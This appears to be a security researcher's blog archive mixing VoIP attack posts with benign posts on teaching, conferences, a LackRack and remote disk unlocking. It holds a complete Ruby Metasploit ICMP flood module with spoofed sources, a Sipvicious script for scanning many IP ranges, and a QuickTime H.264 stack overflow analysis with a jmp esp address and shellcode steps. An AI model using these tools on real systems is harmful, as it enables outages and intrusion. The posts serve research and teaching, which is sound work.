Hi, it has been a long time since my last post because of my new job and my final year project ("VoIP denegation of service attacks" for curious) but there is something I found during my tests with Freeswitch, Kamailio and Asterisk that I want to share.
NOTE: Really, guys of Security By Default blog published us (my good friend Roi Mallo and me) two articles about how to develop modules for Metasploit framework, another two are coming.  ;)


During my project, among others, I developed a Metasploit module which can flood SIP protocol with common frames (INVITE, OPTIONS, REGISTER, BYE), I wrote it at Quobis (nice job ;) in order to use it for some private tests because actual software didn´t fit our needs, so we are going to probe how is the behavior of different GPL VoIP servers against this kind of attacks:
- Asterisk: I think it needs no introduction, the famous softswitch/PBX software.
- Freeswitch: It´s a newer softswitch that seems to be Asterisk replacement and I really like.
- Kamailio (former OpenSER): It is the most known GPL SIP proxy.
First of all I want to be clear about two things:
- Test were made without any protection on the server side, in a real environment we shoud find (in theory xD) something like Iptables, Snort, Fail2ban, Pike or a propietary Session border controller in large arquitectures. Anyway, it should be enough for this proof of concept.
- Asterisk and Freeswitch are PBX software, they were not designed to run between the limits of the infrastructure and Internet, although they are usually placed there. In fact, one of the reason of this post is to show the importance of using a SIP Proxy because of security and performance reasons.


Next pictures show an example of the Metasploit module use and generated traffic, we will use the same attack against differents IPs, so I´m showing it once only:
I chose INVITE packets because they are much more effective against all kind of SIP devices and TIMEOUT to 0 trying to get more traffic. Then, the results:
NOTE: With Wireshark filter "sip.Method==REGISTER or sip.Status-Code==200 and !sdp" we can see if a softphone (Jitsi in this case) could be registered , this way we can confirm if tested software losts some REGISTER packages under attack.

Just blogging a quick post after caming back from Root3d CON in Madrid. This year I have to congratulate speakers again. They shared another year interesting ideas and good technical hacks. I would say this CON speaks loud and clear about the global security scene and the industry around it too. Congrats guys!

Related to technical work I would like to highlight some hot topics covered in talks such as banking attacks, loading malware in Domain Name Servers (DNS), subverting domotic facilities, cracking industrial embedded devices or bouncing along IP videos and on-line weather stations across the globe.

As you see, it was all about technical moments although meeting Nico Waisman was an enjoyable moment too

Nico is VP of South America Immunity, Inc. where he is in charge of an international skilled team developing professional exploits for bugs in software.

I am happy to see how he and his colleagues in Immunity built one sustainable business model around professional bug exploitation and exploit creation. If you don’t know about them, Nico’s company is responsible of an automated exploitation system called CANVAS. It contains hundred of creative and interesting pieces of code abusing, subverting and taking control of buggy software.

This exploitation system, together with an exploit development framework, is used by penetration testers and security professionals regularly. Last time I had a look in this software (years ago!) it had only one exploit pack (one kind of add-on which consists of more modules targeting unpatched vulnerabilities). Now, their exploitation system include several professional extensions offering specialized exploits in 0-day, SCADA, VOIP, IBM Database, webservers, OSX, mobile phone OS, etc.

Watching CANVAS in action you guess as any computer user is able to run automated and massive attacks easily, and how this kind of tools become offensive weapons truly.

Original studies, techniques and research in this exploitation field were really interesting and productive at the end of the 90′s. Nico and I talked about this stuff changing the things really and how this community effort improved overall OS security.

Along those years it supposed technical modifications with focus on IT security but it supposed a shift in the mind of a lot of system administrators and persons in charge of securing and hardening IT assets.

One decade later offensive IT security tools are available. Some of them are professional tools and services while another kind of tooling is sold in underground markets too. Anyway, two things become true.

• In absence of conflict we have a global, profitable and consolidated security industry feeded by 0-days continuous.
• In presence of conflict we have a potential and global battlefield where some people talk about real cyberwarfare as a politically motivated hacking to conduct sabotage and espionage among parties.

It is meaningful reading as The Economist describe cyberspace as the “the fifth domain of warfare” or William J. Lynn states that “as a doctrinal matter, the Pentagon has formally recognized cyberspace as a new domain in warfare … [which] has become just as critical to military operations as land, sea, air, and space”.

I guess knowing about automatic and easy-to-use offensive tools change the perspective a lot.

This past weekend I ended my lessons on our Master Software Libre.

If you follow this blog you will know I usually write down the topics I teach along these lessons. It is always good thing getting feedback and getting in touch with persons reading these lines.

By the way, this year our Master runs its fifth edition. I am proud to watch how it is working and how old and new students, teachers, collaborators, community advisors and all our friends build this knowledge community daily.

Having a broad look I am able to find plenty of technologies, hacking, know-how and a lot of relevant stuff each year.

Although teaching people is always a huge responsibility, I like to start my lessons remembering IT security is a hot topic and, in essence, this domain talks about sensible and dangerous topics; so prudence and good sense are always the right way to follow here.

OK … so nowadays, what am I teaching in those lessons really? what am I covering under the topics of Physical Security, Cryptography, Networking and Security Networking? and, at the end, on what kind of practical laboratories and exercises are we working?

Well, bearing in mind I think IT security is a very complexed topic where different social, economic and technological forces converge I compiled all security stuff covered in this V edition. In summary, some of the syllabus’s drivers were the following:

On Physical Security:

• Physical system security methodologies
• Environmental design
• Design and evaluation of physical protection systems

On Cryptography:

• Cryptographic models
• Cryptographic systems
• Free/open software tooling
• Integration and usual cases

On Networking:

• Foundations
• User and Kernel stack implementation
• Administration and tooling
• Typical configurations and trouble shooting

On Security Networking:

• Network attacks and defense
• Good practices, blueprints and security methodology
• Network device security
• Network architectures
• Integrity and availability
• Exploitation and responsible disclosure
• Underground markets
• Vulnerability management
• Risk analysis and defense models
• Advanced and strategic defense in organizations

Aligned with these points, I ran some new live-demos and attacks too.

Apart of the usual attacks showing design flaws, networking protocol weaknesses, practical communication hijacking or break-in techniques; we studied real networks following one ethical and legal approach. It was useful to identify their strengths and weaknesses while suggesting possible solutions and alternatives.

Finally, together with the design and model of their own embassy by students, we jumped to Linux kernel land to study (line by line in source code) as a real Linux kernel rootkit works under the hood; hiding network connections, users, files and so on.

I would like to think this new 5th promotion have now a better insight and perception of the real risk and magnitude of the battlefield out there … I think so

Happy hacking!

Hi, I´m scanning a large number of ranges with Sipvicious ("svmap.py") and I would like to share some tips which helped me during the process:

- The use of sessions (-s) and reports ("svreport.py") is necessary to prevent mixing of obtained data.

- It´s a good idea to scan not only port 5060, you should add successive ports because some sysadmins configure their SIP services to run there (-p5060-5065).

- There is a well known "problem" about SIP and NAT, if you have installed an Asterisk you have heard about it sure :(, so we need to specify our external IP address to Sipvicious with (-x) parameter. Moreover port 5060(Sipvicious outcoming port) has to be forwarded to host which is scanning, in case that you were scanning with more than one instance at the same time successive ports should be forwarded too. I usually put the host int the DMZ trying to avoid these problems.

- "svreport.py" tries to make a DNS lookup with the discovered IPs but it takes too much time in case of too many hosts so we can disable it (-n).

- Normally, some hosts aren't recognized and marked as "unknown", you could run tcpdump in order to capture the responses and avoid the loss of information.

- I wrote that dirty bash script which reflects exposed ideas:

Code:
-----------------------------------------
#!/bin/bash
# It scans ranges from a text file with sipvicious
# Use: ./scanRange.sh

SVMAP="/home/baguira/Installed/sipvicious/svmap.py"
SVREPORT="/home/baguira/Installed/sipvicious/svreport.py"

# just in case "unknown" devices
sudo tcpdump udp and dst host 192.168.9.5 -s 65535 -w capture1.pcap &
# scan all ranges
for RANGE in $(cat ranges1.txt)
do
RNAME=$(echo $RANGE | awk -F / '{print $1}')
EXTIP=$(curl -s icanhazip.com)
$SVMAP -p5060-5065 -s $RNAME -x $EXTIP --randomize $RANGE
NEXTIP=$(curl -s icanhazip.com)
# external ip change check
if [ "$EXTIP" != "$NEXTIP" ]
then
# wait until router finish reboot
sleep 180
$SVREPORT delete -s $RNAME
EXTIP=$(curl -s icanhazip.com)
$SVMAP -p5060-5065 -s $RNAME -x $EXTIP --randomize $RANGE
fi
$SVREPORT export -s $RNAME -f txt -o $RNAME.txt -n
done
sudo killall tcpdump > /dev/null
-----------------------------------------

To sum up I would like to thank Sandro Gauci (Sipvicious developer) for the software and for being really nice whith my doubts. Thank you man! ;)

Hi again!, I said I was going to develope VoIP related Metasploit modules but I was reading PacketFu documentation and I found that wrinting an ICMP flooder couldn´t be too complicated at this point. So I share this code too, I decided to include SHOST and SIZE options too trying to get a more flexible module able to make different flavors of this attack as Ping flood, Smurf or Ping of death. Next pictures show the module in  the same way of last post.

Code:

-------------------------------------------------------------------------
require 'msf/core'

class Metasploit3 < Msf::Auxiliary

include Msf::Auxiliary::Dos

def initialize
super(
'Name' => 'ICMP Flooder',
'Description' => 'A simple ICMP flooder',
'Author' => 'Jesus Perez',
'License'     => MSF_LICENSE,
'Version' => '$Revision: 0 $'
)

register_options(
[
OptAddress.new('SHOST', [false, 'The spoofable source address (else randomizes)']),
OptInt.new('NUM', [false, 'Number of ping packets to send (else unlimited)']),
OptInt.new('SIZE', [false, 'Size of ICMP packets to send (else 256 bytes)'])
], self.class)
deregister_options('FILTER','PCAPFILE','SNAPLEN')
end

def srchost
datastore['SHOST'] || [rand(0x100000000)].pack('N').unpack('C*').join('.')
end

def size
datastore['SIZE'].to_i.zero? ? 256 : datastore['SIZE'].to_i
end

def run
open_pcap

sent = 0
num = datastore['NUM']

print_status("ICMP flooding #{rhost}...")

p = PacketFu::ICMPPacket.new
p.icmp_type = 8
p.icmp_code = 0
p.ip_daddr = rhost

while (num <= 0) or (sent < num)
p.ip_saddr = srchost
p.payload = rand(36**size).to_s(36)
p.recalc
capture_sendto(p,rhost)
sent += 1
end

close_pcap
end
end
-------------------------------------------------------------------------

Great time at Master Software Libre teaching Physical Security and Cryptography contents this year. Two key areas at Information Security and Privacy.

These lessons were the first ones happening before my usual lessons on Networking, Security Networking and Linux Kernel.

On Physical Security time we worked on well-know physical system security methodologies, together with two new relevant topics: environmental design and design and evaluation of physical protection systems.

It was a lesson covering broad and detailed topics; ranging from designing defensible spaces, where you are able to use different elements and aspects to get natural social control and crime prevention, till a full description of technology and sensor availability to protect different facilities. Security standards or some notes to understand social behaviour (The Bronx study case) were worked out too.

On Cryptography, we walked along its history and development in order to understand cryptographic models and current crytographic systems, free/open software tooling, integration and usual use cases. At the end, everybody got their crypto stuff in place, ready to take part in keysigning parties and next social community events.

Ah! I almost forgot. This year, students will elaborate on the right design to build a safe and secure physical protection system for one embassy.

I recently wrote two posts (in Spanish) on Flu-Project blog about my recent experience in Hackmeeting 2011 (MeigHacks) and some of the issues I treated during my lecture, including W3af and SQLMap. These are the links:

- De paso por el Hackmeeting 2011
- Badstore, SQLi y otras chicas del montón

Among the hundreds of hacks from the fantastic website IKEA Hackers, one is particularly interesting.

How to build a rack with an IKEA lack table worth less than 10 euros?
Well, with this manual:

The best of the LackRack (after its price) is that its construction is modular and you can grow it with your needs:

The LackRack is the ultimate, low-cost, high shininess solution for your modular datacenter-in-the-living-room. It is said that Google engineers were the first to explore the idea of using lack tables for data centers. The LackRack is so famous that even has its own website: http://lackrack.org/

If you are thinking on sending a new server to a remote datacenter for colocation or you have rented one or more servers in the cloud, probably you have thought that you would like to encrypt your server’s hard disk.

The problem is that if you encrypt the whole hard disk (the root partition) you will need some kind of KVM to type the password remotely every time the server is restarted … sure??? No!

Thanks to this nifty trick, you can enter the password remotely during the boot process. The trick involves embedding a small ssh server (dropbear) in the initramfs that allows you to enter the password remotely for the root partition at boot time.

For those who are lucky enough to use Debian, the procedure is so simple and easy as ::

1) Install your server with the root partition encrypted.

2) Install the required packages:

apt-get install openssh-server dropbear busybox


3) Copy the SSH key that has been generated automatically

scp root@my.server.ip.addr:/etc/initramfs-tools/root/.ssh/id_rsa ~/id_rsa.initramfs


4) If your server gets the IP address automatically (DHCP) ignore this step, otherwise you have to specify the IP configuration at the Kernel boot line. To do this edit the file /etc/default/grub and define the line:

GRUB_CMDLINE_LINUX="ip=<client-ip>:<server-ip>:<gw-ip>:<netmask>:<hostname>:<device>:<autoconf>"

Using the format specified in the file Documentation/nfsroot.txt of the Linux kernel documentation. For example:

GRUB_CMDLINE_LINUX="ip=192.168.122.192::192.168.122.1:255.255.255.0::eth0:none"

Reload the grub configuration

update-grub


5) Reboot

reboot


6) And unlock remotely!

ssh -o "UserKnownHostsFile=~/.ssh/known_hosts.initramfs" \
	-i "~/id_rsa.initramfs" root@my.server.ip.addr \
	"echo -ne \"MyS3cr3tK3y\" >/lib/cryptsetup/passfifo"

And for those not lucky enough to use Debian, and also for those who have such luck, but want more details on this procedure, I am pasting here the archive cryptsetup/README.remote from Debian that I am sure that you will find very useful

$ zcat /usr/share/doc/cryptsetup/README.remote.gz

unlocking rootfs via ssh login in initramfs
-------------------------------------------

You can unlock your rootfs on bootup from remote, using ssh to log in to the
booting system while it's running with the initramfs mounted.

Setup
-----

For remote unlocking to work, the following packages have to be installed
before building the initramfs: dropbear busybox

The file /etc/initramfs-tools/initramfs.conf holds the configuration options
used when building the initramfs. It should contain BUSYBOX=y (this is set as
the default when the busybox package is installed) to have busybox installed
into the initramfs, and should not contain DROPBEAR=n, which would disable
installation of dropbear to initramfs. If set to DROPBEAR=y, dropbear will
be installed in any case; if DROPBEAR isn't set at all, then dropbear will only
be installed in case of an existing cryptroot setup.

The host keys used for the initramfs are dropbear_dss_host_key and
dropbear_rsa_host_key, both located in/etc/initramfs-tools/etc/dropbear/.
If they do not exist when the initramfs is compiled, they will be created
automatically. Following are the commands to create them manually:

# dropbearkey -t dss -f /etc/initramfs-tools/etc/dropbear/dropbear_dss_host_key
# dropbearkey -t rsa -f /etc/initramfs-tools/etc/dropbear/dropbear_rsa_host_key

As the initramfs will not be encrypted, publickey authentication is assumed.
The key(s) used for that will be taken from
/etc/initramfs-tools/root/.ssh/authorized_keys.
If this file doesn't exist when the initramfs is compiled, it will be created
and /etc/initramfs-tools/root/.ssh/id_rsa.pub will be added to it.
If the latter file doesn't exist either, it will be generated automatically -
you will find the matching private key which you will later need to log in to
the initramfs under /etc/initramfs-tools/root/.ssh/id_rsa (or id_rsa.dropbear
in case you need it in dropbear format). Following are the commands to do the
respective steps manually:

To create a key (in dropbear format):

# dropbearkey -t rsa -f /etc/initramfs-tools/root/.ssh/id_rsa.dropbear

To convert the key from dropbear format to openssh format:

# /usr/lib/dropbear/dropbearconvert dropbear openssh \
	/etc/initramfs-tools/root/.ssh/id_rsa.dropbear \
	/etc/initramfs-tools/root/.ssh/id_rsa

To extract the public key:

# dropbearkey -y -f /etc/initramfs-tools/root/.ssh/id_rsa.dropbear | \
	grep "^ssh-rsa " > /etc/initramfs-tools/root/.ssh/id_rsa.pub

To add the public key to the authorized_keys file:

# cat /etc/initramfs-tools/root/.ssh/id_rsa.pub >> /etc/initramfs-tools/root/.ssh/authorized_keys

In case you want some interface to get configured using dhcp, setting DEVICE= in
/etc/initramfs-tools/initramfs.conf should be sufficient.  The initramfs should
also honour the ip= kernel parameter.
In case you use grub, you probably might want to set it in /boot/grub/menu.lst,
either in the '# kopt=' line or appended to specific 'kernel' line(s).
The ip= kernel parameter is documented in Documentation/nfsroot.txt in the
kernel source tree.

Issues
------

Don't forget to run update-initramfs when you changed the config to make it
effective!

Collecting enough entropy for the ssh daemon sometimes seems to be an issue.
Startup of the ssh daemon might be delayed until enough entropy has been
retrieved. This is non-blocking for the startup process, so when you are at the
console you won't have to wait for the sshd to complete its startup.

Unlocking procedure
-------------------

To unlock from remote, you could do something like this:

# ssh -o "UserKnownHostsFile=~/.ssh/known_hosts.initramfs" \
	-i "~/id_rsa.initramfs" root@initramfshost.example.com \
	"echo -ne \"secret\" >/lib/cryptsetup/passfifo"

This example assumes that you have an extra known_hosts file
"~/.ssh/known_hosts.initramfs" which holds the cryptroot system's host-key,
that you have a file "~/id_rsa.initramfs" which holds the authorized-key for
the cryptroot system, that the cryptroot system's name is
"initramfshost.example.com", and that the cryptroot passphrase is "secret"

-- <debian@x.ray.net>, Wed, 30 Sep 2009

Information gathering is the stage of a penetration test when the attacker tries to  collect as much information as possible about the target. This step is normally composed for footprinting and fingerprinting but, in the case of VoIP systems, we should add extension enumeration to the list. During this last step attacker will attempt to obtain valid extensions/users of the target system.


Footprinting & Fingerprinting

My favourite tools for these jobs are FOCA and Nmap, it´s a bit strange combination but it fits for me :). FOCA automates almost all the “dirty job” and it is the best with public documents metadata, while Nmap flexibility let me confirm manually all these discovered stuff. Moreover, in the case of SIP Protocol, FOCA also is able to obtain more information from target  DNS SRV records, they work in a similar way during a call that MX ones for mailing. Next picture taken from the blog of its “father” shows an example of them.


NOTE: FOCA it is not GPL, it´s only free as in free beer but, in my opinion, there is no replacement for the moment.

There are some other specific tools for VoIP which complement classic ones discussed above. I´m going to focus on Metasploit modules because Sipvicious set of tools, which is the most used for this tasks and works in a very similar way, is a lot of documented over the net. These VoIP specific scans reduce strongly the time in comparison of nmap because they send specific SIP request UDP packets instead of ICMP ones. In this post we can find a complete explanation of that and here is exposed how nmap UDP scan works. You can compare it (nmap -sU -p 5060 -sV TARGET) and check that the speed difference is really huge. One important advantage of Metasploit over Sipvicious is the support of threading which could speed up still more the process.

So, at this point, we are ready to start scanning a testing environment formed by an Ubuntu 11.04 laptop hosting two virtual machines, connected in NAT mode:
- Backtrack 5 R1 box simulating bad guy.
- Debian Squeeze box with a basic installation of Asterisk 1.6.2.9-2 and only 101 and 102 extensions allowed.

There are not too much Metasploit modules involving VoIP but we already have auxiliaries needed for SIP scanning and extension enumeration as showed in the picture:


Now, I´m going to use Armitage (sorry guys, I like GUIs :P) in order to scan my network using "SIP scan (UDP)" (auxiliary/scanner/sip/options) module. It supports only OPTIONS scanning but it is enough for being the most realiable type. In fact, INVITE scan could be noisy and produce a "ring” at the other end.  If you are interested in all these subjects and how they work more in depth I recommend you (as always) “VoIP Haking Exposed” book.

You only have to specify the target for configure the module, next images show the steps and the correct result.




Extension enumeration

Instead of explaining how this attack works in a theorethical way (diagrams and all this stuff) I´m going to refer you to the book and show a situation which helps to understand because user/extension enumeration is possible. Firstly I will try to connect my Ekiga softphone to Asterisk server with a non existent user:



Ok, Asterisk didn´t allow the connection, now we are going to try with an existent user and bad password:



The response is different in both cases so, as you can imagine at this point, we could easily identify different extensions. In order to automate this attack we can use “SIP Username Enumerator (UDP)” module (scanner/sip/enumerator) which supports REGISTER and OPTIONS scan (METHOD module parameter). Really it is a Brute-force attack trying specified extensions, so it is very important to specify PADLEN argument, if not, you could obtain a very long list of non-existent extensions. In my case I choose PADLEN equal to 3 because extensions are 101 and 102, I also modifed MAXENT to fit with it.



As you can see I got different results, on one side OPTIONS scan identified extensions 500 (Asterisk demo) and 600 (echo demo) and REGISTER scan got real extensions on the other. So it would be necessary to use both types during a pentest process.

At this moment Metasploit does not support Asterisk Exchange protocol (this is also part of VoIP protocols as SIP) scan. We have enumIAX and iaxscan classic tools, but we are only focus in SIP protocol at this time.

Information gathering coutermeasurements is a very interesting subject but I think it is enough for today, typical solutions are Fail2ban combined with Iptables and other specific tools for each type of VoIP system.

Some months ago, analyzing module in charge to parse H.264 compressed data in QuickTime Player, were found exactly two vulnerabilities in the way it do it.

First we need document this codec. The basic from http://en.wikipedia.org/wiki/H.264/MPEG-4_AVC :

“H.264/MPEG-4 Part 10 or AVC (Advanced Video Coding) is a standard for video compression, and is currently one of the most commonly used formats for the recording, compression, and distribution of high definition video.”

Looking for more info, could be found that the coded video data is organized into NAL Units, which contains besides that a header with information about data (like type of the structure contained), and the size of each variable:

 

 

This pseudo-code structure and the other that we need can be found at ITU-T H.264 with terms, algorithms to encode / decode data, and so on; speaking regarding algorithms and according to documentation, we should find three parsers:

- to Exponential-Golomb coding;

- to CAVLC for transform coefficients levels;

- to CABAC for slice data;

Exponential-Golomb is responsible of decoding the syntax elements of the corresponding structures, and necessary for us on this case.

The process to decode unsigned integers begins looking for the MSB in stream setted to 1 and counting the leading bits equals to zero. Some like this:

 

zeroBits = -1;

for(b = 0; !b; zeroBits++) {

b = read_bits(1);

}

 

Then, zeroBits acts like exponent in base two and like the number of bits to read this time:

 

codeNum = (2**zeroBits) - 1 + read_bits(zeroBits);

Like you can see, this algorithm allows us generate values from a base ((2 ** zeroBits) - 1) and then add it to an offset (read_bits(zeroBits)), our selected value.

Since we have the exponent value equals to number of bits to read, when we need to read a large offset the base value will grow too, losing precision to generate all values. This issue will bring us problems in the exploitation process, as we shall see later.

Here is code example about implementation of last algorithm from QuickTimeH264.qtx:

 

.text:681D4A39      loc_681D4A39: .text:681D4A39 bsr eax, [esp+84h+SliceHeader] .text:681D4A3E mov ecx, 3Fh .text:681D4A43 cmovz eax, ecx .text:681D4A46 xor eax, 1Fh .text:681D4A49 mov [esp+84h+var_48], eax .text:681D4A4D mov edx, [esp+84h+var_48] .text:681D4A51 mov eax, [esp+84h+SliceHeader] .text:681D4A55 lea ecx, [edx+1] .text:681D4A58 shl eax, cl .text:681D4A5A mov ecx, 20h .text:681D4A5F sub ecx, edx .text:681D4A61 mov ebx, 1 .text:681D4A66 shr eax, cl .text:681D4A68 mov ecx, edx .text:681D4A6A neg ecx .text:681D4A6C sbb ecx, ecx .text:681D4A6E and eax, ecx .text:681D4A70  mov ecx, edx .text:681D4A72 shl ebx, cl .text:681D4A74  lea edx, [ebp+edx*2+1] .text:681D4A78  mov [esp+84h+SliceHeader], eax .text:681D4A7C  lea eax, [ebx+eax-1] .text:681D4A80 mov ebx, edx .text:681D4A82  shr edx, 3 .text:681D4A85 add esi, edx

Decoding unsigned integers with Exponential - Golomb

 

0k, as I said, this is the process to decode unsigned integers for structures, so what about this structures? His names are Sequence Parameter Set (SPS), Picture Parameter Set (PPS), and Slice Header, and here are their definitions:

• Sequence parameter set: A syntax structure containing syntax elements that apply to zero or more entire coded video sequences as determined by the content of a seq_parameter_set_id syntax element found in the picture parameter set referred to by the pic_parameter_set_id syntax element found in each slice header:

 

 

• Picture parameter set: A syntax structure containing syntax elements that apply to zero or more entire codedpictures as determined by the pic_parameter_set_id syntax element found in each slice header:

 

 

• Slice header: A part of a coded slice containing the data elements pertaining to the first or all macroblocks represented in the slice (this is an integer number of macroblocks or macroblock pairs ordered consecutively in the raster scan within a particular slice group):

 

 

Knowing QuickTime movie container format (“.mov” extension) are organized by Atoms, we could situate the H.264 bit stream containing last three structs on MDAT atom .

 

Thus QuickTime starts looking for Nal Units on stream with nal_unit_type indicating SPS or PPS structures on 6810F040 and checks if any. If yes, first decodes SPS on QuickTimeH264.qtx!68192FB0 and then PPS on QuickTimeH264.qtx!68190100; the algorithm need decode last two structs to parse Slice Header.

After at QuickTimeH264.qtx!68194810, while decoding Slice Header, application checks either Slice_Header.Num_Ref_IDX_Active_Override_Flag is setted or not, a flag indicating if our Slice Header has been created with Num_Ref_IDX_l0_Active_Minus1 and Num_Ref_IDX_l1_Active_Minus1 fields.

What says specification about this values?:

num_ref_idx_l0_active_minus1 specifies the maximum reference index for reference picture list 0 that shall be used to decode each slice of the picture in which list 0 is used when num_ref_idx_active_override_flag is equal to 0 for the slice. […]The value of num_ref_idx_l0_active_minus1 shall be in the range of 0 to 31, inclusive.

A new structure is present, Slice_Header.ref_pic_list_reordering, and last fields are indicating size of data contained on here:

Looking for members on spec, we can see:

 

'ref_pic_list_reordering_flag_l0 equal to 1 specifies that the syntax element

 

reordering_of_pic_nums_idc is present for specifying reference picture list 0. ref_pic_list_reordering_flag_l0 equal to 0 specifies that this syntax element is not present.

 

When ref_pic_list_reordering_flag_l0 is equal to 1, the number of times that reordering_of_pic_nums_idc is not equal to 3 following ref_pic_list_reordering_flag_l0 shall not exceed

num_ref_idx_l0_active_minus1 + 1.

 

When RefPicList0[ num_ref_idx_l0_active_minus1 ] in the initial reference picture list produced as specified in subclause 8.2.4.2 is equal to "no reference picture", ref_pic_list_reordering_flag_l0 shall be equal to 1 and reordering_of_pic_nums_idc shall not be equal to 3 until RefPicList0[num_ref_idx_l0_active_minus1 ] in the reordered list produced as specified in subclause 8.2.4.3 is not equal to "no reference picture".'

 

And:

'reordering_of_pic_nums_idc together with abs_diff_pic_num_minus1 or long_term_pic_num specifies which of the reference pictures are re-mapped. The values of  reordering_of_pic_nums_idc are specified below. The value of the first reordering_of_pic_nums_idc that follows immediately after ref_pic_list_reordering_flag_l0 or  ref_pic_list_reordering_flag_l1 shall not be equal to 3.

 

reordering_of_pic_nums_idc Reordering specified

0 abs_diff_pic_num_minus1 is present and corresponds to a difference to subtract from a picture number prediction value

1 abs_diff_pic_num_minus1 is present and corresponds to a difference to add to a picture number prediction value

2 long_term_pic_num is present and specifies the long-term picture number for a reference picture

3 End loop for reordering of the initial reference picture list”

 

This number is result of decoding our crafted data, and as you can see, his value indicates type of reference pictures, but value 3 indicates end of stream being decoded.

In other words, it break loop.

 

 

Also, if we look PPS structure we will see it has fields with same name, num_ref_idx_l0_active_minusX, cause this will be used as values to Slice Header fields if Slice_Header.Num_Ref_IDX_Active_Override_Flag == 0:

 

.text:681950BB check_reordering_flag:  ; CODE XREF: parseSliceHeader+88Cj .text:681950BB                         ; parseSliceHeader+891j .text:681950BB                         ; parseSliceHeader+896j .text:681950BB                         ; parseSliceHeader+89Bj .text:681950BB                         ; parseSliceHeader+8A0j .text:681950BB             shr eax, 1Fh ; Bit - stream .text:681950BE             mov [edi+Slice_Header.Num_Ref_IDX_Active_Override_Flag], al .text:681950C1             mov eax, [esp+84h+var_68] .text:681950C5             add eax, 1 .text:681950C8             mov edx, eax .text:681950CA             and edx, 7 .text:681950CD             shr eax, 3 .text:681950D0             mov ebp, edx .text:681950D2             add esi, eax .text:681950D4             mov [esp+84h+var_68], ebp .text:681950D8             mov [esp+84h+counter], esi .text:681950DC             mov ecx, [esp+84h+counter] .text:681950E0             mov edx, ecx .text:681950E2             and edx, 0FFFFFFFCh .text:681950E5             neg ecx .text:681950E7             mov ebx, [edx] .text:681950E9             lea ecx, [edx+ecx+4] .text:681950ED             mov edx, [edx+4] .text:681950F0             bswap ebx .text:681950F2             shl ecx, 3 .text:681950F5             bswap edx .text:681950F7             shrd edx, ebx, cl .text:681950FA             cmp ecx, 20h ; ' ' .text:681950FD             cmovz edx, ebx .text:68195100             mov [esp+84h+SliceHeader], edx .text:68195104             mov eax, [esp+84h+SliceHeader] .text:68195108             mov ecx, ebp .text:6819510A             shl eax, cl .text:6819510C             cmp [edi+Slice_Header.Num_Ref_IDX_Active_Override_Flag], 0 .text:68195110             mov [esp+84h+SliceHeader], eax .text:68195114             jz  default ... .text:681951F3 default:                ; CODE XREF: parseSliceHeader+904j .text:681951F3             mov ecx, [esp+84h+PPS] .text:681951F7             mov edx, [ecx+PPS.Num_Ref_IDX_l0_Active_Minus1] .text:681951FA             mov [edi+Slice_Header.Num_Ref_IDX_l0_Active_Minus1], edx .text:681951FD             mov ecx, [ecx+PPS.Num_Ref_IDX_l1_active_minus1] .text:68195200             mov [edi+Slice_Header.Num_Ref_IDX_l1_active_minus1], ecx

 

But if flag is setted, Slice_Header.Num_Ref_IDX_l0_Active_Minus1 and/or Slice_Header.Num_Ref_IDX_l1_Active_Minus1 are decoded again from input stream on fields within the same name on Slice_Header:

 

.text:68195114             jz  default .text:6819511A             bsr eax, [esp+84+SliceHeader] ; decode our value .text:6819511F             mov ecx, 3Fh ; '?' .text:68195124             cmovz eax, ecx .text:68195127             xor eax, 1Fh .text:6819512A             mov [esp+84h+var_34], eax .text:6819512E             mov edx, [esp+84h+var_34] .text:68195132             mov eax, [esp+84h+SliceHeader] .text:68195136             lea ecx, [edx+1] .text:68195139             shl eax, cl .text:6819513B             mov ecx, 20h .text:68195140             sub ecx, edx .text:68195142             mov ebx, 1 .text:68195147             shr eax, cl .text:68195149             mov ecx, edx .text:6819514B             neg ecx .text:6819514D             sbb ecx, ecx .text:6819514F             and eax, ecx .text:68195151             mov ecx, edx .text:68195153             shl ebx, cl .text:68195155             mov [esp+84h+SliceHeader], eax .text:68195159             mov ecx, ebp .text:6819515B             lea eax, [ebx+eax-1] ; get size .text:6819515F             mov [edi+Slice_Header.Num_Ref_IDX_l0_Active_Minus1], eax ; p0wned!

 

Num_Ref_IDX_lX_Active_Minus1 values has been checked on QuickTimeH264.qtx!68190100 (>= 0 && <= 31), but this time simply not.

Then this value is used to decode ref_pic_list_reordering, if any, to stack-based buffer present on QT Slice Header struct:

 

00000000 SliceHeader struct ... 00000150 ref_pic_list_reordering_buffer_l0 db 132 dup(?) 000001d4 ref_pic_list_reordering_buffer_l1  db 132 dup(?) ...

 

Like you can see on ref_pic_list_reordering definition we need set some fields more to the decoding :

• ref_pic_list_reordering_flag_l0/1
• reordering_of_pic_nums_idc

Remembering to set reordering_of_pic_nums_idc != 3 to not break loop and without checks against Num_Ref_IDX_lX_Active_Minus1, we can craft a stream (..F8025b80..) to overflow Slice_Header.ref_pic_list_reordering_buffer_l0 or Slice_Header.ref_pic_list_reordering_buffer_l1 in this loop (QuickTimeH264!681952A0):

 

 

Exactly:

 

.text:68195289 mov     [esp+84h+counter], 0 .text:68195291 lea     ebp, [edi+Slice_Header.ref_pic_list_reordering_buffer_l0] .text:68195297 jmp     short get_reordering_of_pic_nums_idc ... .text:681952A0 get_reordering_of_pic_nums_idc: .text:6819531D  bsr     eax, [esp+84h+SliceHeader] ... .text:68195360  mov     [ebp+0], eax    ; stack overflow! .text:68195363  jmp     short check_limit .text:681953B4  check_limit:            ; CODE XREF: parseSliceHeader+B53j .text:681953B4  mov     ecx, [esp+84h+var_68] .text:681953B8  lea     eax, [ecx+edx*2+1] ... .text:681953D2  mov     ecx, [esp+84h+counter] .text:681953D6  cmp     ecx, [edi+Slice_Header.Num_Ref_IDX_l0_Active_Minus1] .text:681953D9  mov     [esp+84h+SliceHeader], eax .text:681953DD ja      out .text:681953E3  add     [esp+84h+counter], 1 .text:681953E8  add     ebp, 4 .text:681953EB  jmp     get_reordering_of_pic_nums_idc

 

+ Exploitation:

 

We already know Exponential-Golomb coding and it losses precission when we set a high base value, as shown in the following chart (x = offset, y = base):

 

 

limiting our data generation; but looking for a nice address we could hit one decodable: QuickTimePlayerLauncher.exe!0x00441FFF jmp esp, or encoded: 0x00000221.

Overwritting RET address with data resulting of decode 0x221, we can redirect flow while ESP register are pointing to our decoded data, but to make the job easier we will insert in stream a trampoline to our uncoded ShellCode executing minimum coded opcodes.

For this, we going to follow next steps:

1) Adding, ORing and Shifting values we will get relative distance value of pointer (saved in the stack) pointing to our mapped file from our position.

2) Substract last value to ESP.

3) POPing from stack a pointer to our buffer to EDI.

4) Add value from 1st step to EDI 4 times, just to point to our ShellCode.

5) CALL EDI.

 

Here are two images terminating this process:

 

 

Zooming:

 

 

A file sample is avaible cliking here.

